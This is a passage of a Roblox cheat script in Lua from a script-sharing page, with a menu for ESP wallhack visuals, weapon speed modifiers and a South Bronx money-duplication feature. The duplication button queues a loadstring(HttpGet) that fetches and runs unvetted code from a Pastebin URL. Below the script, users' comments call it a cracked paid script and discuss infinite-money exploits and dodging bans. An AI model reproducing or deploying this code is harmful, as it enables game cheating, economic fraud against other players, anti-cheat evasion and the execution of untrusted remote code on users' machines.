                GeneralSection:slider({name = "Reload Speed Percentage", flag = "ReloadSpeed_TB3", default = 50, min = 0, max = 100, suffix = "%", callback = function(state)
                    Config.South_Bronx.Modifications.ReloadSpeed = state
                end})

                GeneralSection:slider({name = "Equip Speed Percentage", flag = "EquipSpeed_TB3", default = 50, min = 0, max = 100, suffix = "%", callback = function(state)
                    Config.South_Bronx.Modifications.EquipSpeed = state
                end})
            end
        end
    end
end

window:seperator({name = "World"}) do
    local VisualsTab = window:tab({name = "Visuals", tabs = {"Players"}, icon = GetImage("ESP.png")})

    local VisualsColum = VisualsTab:column({})
    local PlayerVisualsSection = VisualsColum:section({name = "Player Visuals", side = "left", size = 0.725})

    PlayerVisualsSection:toggle({name = "Enabled", flag = "PlayerVisuals_Enabled", type = "toggle", callback = function(state)
        Config.ESP.Enabled = state
        RefreshAllElements()
    end})

    PlayerVisualsSection:toggle({name = "Bounding Boxes", flag = "PlayerVisuals_BoundingBoxes", type = "toggle", callback = function(state)
        Config.ESP.Drawing.Boxes.Bounding.Enabled = state
        RefreshAllElements()
    end}):colorpicker({flag = "PlayerVisuals_BoundingBoxes_Color", color = Color3.new(1,1,1), alpha = 1, callback = function(state, alpha)
        Config.ESP.Drawing.Boxes.Bounding.RGB = state
        Config.ESP.Drawing.Boxes.Bounding.Transparency = alpha
        RefreshAllElements()
    end})

    PlayerVisualsSection:toggle({name = "Corner Boxes", flag = "PlayerVisuals_CornerBoxes", type = "toggle", callback = function(state)
        Config.ESP.Drawing.Boxes.Corner.Enabled = state
        RefreshAllElements()
    end}):colorpicker({flag = "PlayerVisuals_CornerBoxes_Color", color = Color3.new(1,1,1), alpha = 1, callback = function(state, alpha)
        Config.ESP.Drawing.Boxes.Corner.RGB = state
        Config.ESP.Drawing.Boxes.Corner.Transparency = alpha
        RefreshAllElements()
    end})

    local _FilledBoxes = PlayerVisualsSection:toggle({name = "Filled Boxes", flag = "PlayerVisuals_FilledBoxes", type = "toggle", callback = function(state)
        Config.ESP.Drawing.Boxes.Filled.Enabled = state
        RefreshAllElements()
    end})

    _FilledBoxes:colorpicker({flag = "PlayerVisuals_FilledBoxes_Color1", color = Color3.fromRGB(119, 120, 255), alpha = 0.25, callback = function(state, alpha)
        Config.ESP.Drawing.Boxes.GradientFillRGB1 = state
        Config.ESP.Drawing.Boxes.Filled.Transparency = alpha
        RefreshAllElements()
    end})

    _FilledBoxes:colorpicker({flag = "PlayerVisuals_FilledBoxes_Color2", color = Color3.fromRGB(0, 0, 0), alpha = 1, callback = function(state, alpha)
        Config.ESP.Drawing.Boxes.GradientFillRGB2 = state
        RefreshAllElements()
    end})

    PlayerVisualsSection:toggle({name = "Names", flag = "PlayerVisuals_Names", type = "toggle", callback = function(state)
        Config.ESP.Drawing.Names.Enabled = state
        RefreshAllElements()
    end}):colorpicker({flag = "PlayerVisuals_Names_Color", color = Color3.new(1,1,1), alpha = 1, callback = function(state, alpha)
        Config.ESP.Drawing.Names.RGB = state
        RefreshAllElements()
        Config.ESP.Drawing.Names.Transparency = alpha
        RefreshAllElements()
    end})

    local HealthBar_Toggle = PlayerVisualsSection:toggle({name = "Health Bars", flag = "PlayerVisuals_HealthBars", type = "toggle", callback = function(state)
        Config.ESP.Drawing.Healthbar.Enabled = state
        RefreshAllElements()
    end})

    HealthBar_Toggle:colorpicker({flag = "PlayerVisuals_HealthBar_High_Color", color = Color3.new(0, 1, 0), alpha = 1, callback = function(state, alpha)
        Config.ESP.Drawing.Healthbar.GradientRGB2 = state
        RefreshAllElements()
    end})

    HealthBar_Toggle:colorpicker({flag = "PlayerVisuals_HealthBar_Low_Color", color = Color3.new(1, 0, 0), alpha = 1, callback = function(state, alpha)
        Config.ESP.Drawing.Healthbar.GradientRGB1 = state
        RefreshAllElements()
    end})

    PlayerVisualsSection:toggle({name = "Health Text", flag = "PlayerVisuals_HealthText", type = "toggle", callback = function(state)
        Config.ESP.Drawing.Healthbar.HealthText = state
        RefreshAllElements()
    end})

    PlayerVisualsSection:toggle({name = "Weapons", flag = "PlayerVisuals_Weapons", type = "toggle", callback = function(state)
        Config.ESP.Drawing.Weapons.Enabled = state
        RefreshAllElements()
    end}):colorpicker({flag = "PlayerVisuals_Weapons_Color", color = Color3.new(1,1,1), alpha = 1, callback = function(state, alpha)
        Config.ESP.Drawing.Weapons.WeaponTextRGB = state
        Config.ESP.Drawing.Weapons.Transparency = alpha
        RefreshAllElements()
    end})

    PlayerVisualsSection:toggle({name = "Distance", flag = "PlayerVisuals_Distance", type = "toggle", callback = function(state)
        Config.ESP.Drawing.Distances.Enabled = state
        RefreshAllElements()
    end}):colorpicker({flag = "PlayerVisuals_Distance_Color", color = Color3.new(1,1,1), alpha = 1, callback = function(state, alpha)
        Config.ESP.Drawing.Distances.RGB = state
        Config.ESP.Drawing.Distances.Transparency = alpha
        RefreshAllElements()
    end})

    local _ChamsToggle = PlayerVisualsSection:toggle({name = "Chams", flag = "PlayerVisuals_Chams", type = "toggle", callback = function(state)
        Config.ESP.Drawing.Chams.Enabled = state
        RefreshAllElements()
    end})

    _ChamsToggle:colorpicker({flag = "PlayerVisuals_Chams_Color1", color = Color3.fromRGB(119, 120, 255), alpha = 0.8, callback = function(state, alpha)
        Config.ESP.Drawing.Chams.FillRGB = state
        Config.ESP.Drawing.Distances.Fill_Transparency = alpha*100
        RefreshAllElements()
    end})

    _ChamsToggle:colorpicker({flag = "PlayerVisuals_Chams_Color2", color = Color3.new(0,0,0), alpha = 1, callback = function(state, alpha)
        Config.ESP.Drawing.Chams.OutlineRGB = state
        Config.ESP.Drawing.Distances.Outline_Transparency = alpha*100
        RefreshAllElements()
    end})

    VisualsColum = VisualsTab:column({})
    local PlayerVisualsSettingsSection = VisualsColum:section({name = "Player Visual Settings", side = "left", size = 0.7, icon = GetImage("Settings.png")})

    PlayerVisualsSettingsSection:toggle({name = "Animated Boxes", flag = "Visuals_AnimatedBox", default = false, type = "toggle", callback = function(state)
        Config.ESP.Drawing.Boxes.Animate = state
        RefreshAllElements()
    end})

    PlayerVisualsSettingsSection:toggle({name = "Dynamic Health Text", flag = "Visuals_HealthTextLerp", default = true, type = "toggle", callback = function(state)
        Config.ESP.Drawing.Healthbar.Lerp = state
        RefreshAllElements()
    end})

    PlayerVisualsSettingsSection:toggle({name = "Gradient Health Bar", flag = "Visuals_HealthBarGradient", default = true, type = "toggle", callback = function(state)
        Config.ESP.Drawing.Healthbar.Gradient = state
        RefreshAllElements()
    end})

    PlayerVisualsSettingsSection:toggle({name = "Thermal Chams", flag = "Visuals_ChamsThermal", default = false, type = "toggle", seperator = true, callback = function(state)
        Config.ESP.Drawing.Chams.Thermal = state
        RefreshAllElements()
    end})

    PlayerVisualsSettingsSection:dropdown({name = "Text Font", flag = "Visuals_TextFont", width = 130,
        items = {
            "Arcade",
            "BuilderSans",
            "Code",
            "Pixel",
            "Plex",
            "Fantasy",
            "FredokaOne",
            "Gotham",
            "GothamBlack",
            "Minecraftia",
            "Jura",
            "Roboto",
            "RobotoMono",
            "SourceSans",
            "Verdana"
        }, multi = false, default = "Plex", callback = function(state)
            Config.ESP.Font = (state == "Pixel" or state == "Plex" or state == "Minecraftia" or state == "Verdana") and Fonts[state] or Enum.Font[state]
            RefreshAllElements()
        end
    })

    PlayerVisualsSettingsSection:slider({name = "Text Size", flag = "TextSize_Visuals", min = 10, max = 18, default = 12, callback = function(state)
        Config.ESP.FontSize = state
        RefreshAllElements()
    end})

    PlayerVisualsSettingsSection:slider({name = "Max Render Distance", flag = "MaxRenderDistance_Visuals", min = 10, max = 5000, default = 1000, suffix = "st", callback = function(state)
        Config.ESP.MaxDistance = state
    end})
end

library:init_config(window)

if Game_Name == "South Bronx" then
    local DupeTab = window:tab({name = "Duplication", tabs = {"General"}, icon = GetImage("Cash.png")}) do
        local DupeColumn = DupeTab:column({})
        local DuplicationSection = DupeColumn:section({name = "Automatic Duplication", side = "left", size = 0.6, icon = GetImage("Wrench.png")})

        DuplicationSection:textbox({name = "Selected Player's Name", callback = function(text)
            local name = text;

            for i,v in Services.Players:GetPlayers() do
                if v~=Services.Players.LocalPlayer then
                    if string.find(v.Name:lower(), text:lower()) or string.match(v.Name:lower(), text:lower()) then
                        name = v.Name;
                        break
                    end
                end
            end

            writefile("SouthBronxUsernameRealGame.txt", name)
        end})

        DuplicationSection:textbox({name = "Amount To Send (Max Is $20000)", callback = function(text)
            writefile("SouthBronxAmountRealGame.txt", text)
        end})

        DuplicationSection:button({name = "Start Automated Duping", callback = function()
            queue_on_teleport("loadstring(game:HttpGet('https://pastebin.com/raw/NxcZfG6u'))()")

            Services.TeleportService:TeleportToPlaceInstance(game.PlaceId, game.JobId)
        end})

        DuplicationSection:label({name = "Please read!", wrapped = true, info = "You will need $2,000 extra ontop of what your sending! for example if you want to send $20,000 you will need $22,000!"})
    end
end

if hookfunction and not Solara and LPH_OBFUSCATED and Game_Name == "South Bronx" then
    local _FireServer;
    local _Function;

    _FireServer = hookfunction(Instance.new("RemoteEvent", nil).FireServer, function(self, ...)
        local Arguments = {...}

        if tostring(self) == "PurchaseItem" and Arguments[2] == 'Shoes' and Arguments[3] == 'YZ Slides' and Arguments[4] == '\255' then
            local f, s = debug.getinfo(2, "fs")
            if not _Function then
                _Function = f.func
            end

            if _Function ~= f.func then
                while true do end
                return
            end
        end

        return _FireServer(self, ...)
    end)
end

Features & Information

inf money, dupe, and alot more of stuff breh go check it out credits to sleepyhub

Community Comments (11)

kamyzz85kamyzz85Aug 26, 2025

Ion see no inf money

Replying to @kamyzz85
divinewashereeedivinewashereeeAug 31, 2025

@kamyzz85 search

MrpickIeMrpickIeAug 26, 2025

best script my broshake

Replying to @MrpickIe
divinewashereeedivinewashereeeAug 31, 2025

@MrpickIe not mine but thanks

evilcursedevilcursedAug 26, 2025

bronx.lol got cracked?

Replying to @evilcursed
divinewashereeedivinewashereeeAug 31, 2025

@reduxx yep

makaridzeeemakaridzeeeAug 26, 2025

guys inf money is making illegal money, i get 990k in 4 mins

Replying to @makaridzeee
divinewashereeedivinewashereeeAug 31, 2025

@makaridzeee once you get it clean the money and you should be good to go

deptifyydeptifyySep 8, 2025

Guys it doesnt properly work on solara, so if i were you guys i´d use swift and downgrade roblox and after that delete ur roblox cache and appdata so you can avoid ban

hopoutzaxx23hopoutzaxx23Sep 26, 2025

how yu use it

How to do the script i cant see any script on my screen im in cp how

More Scripts for Universal Scripts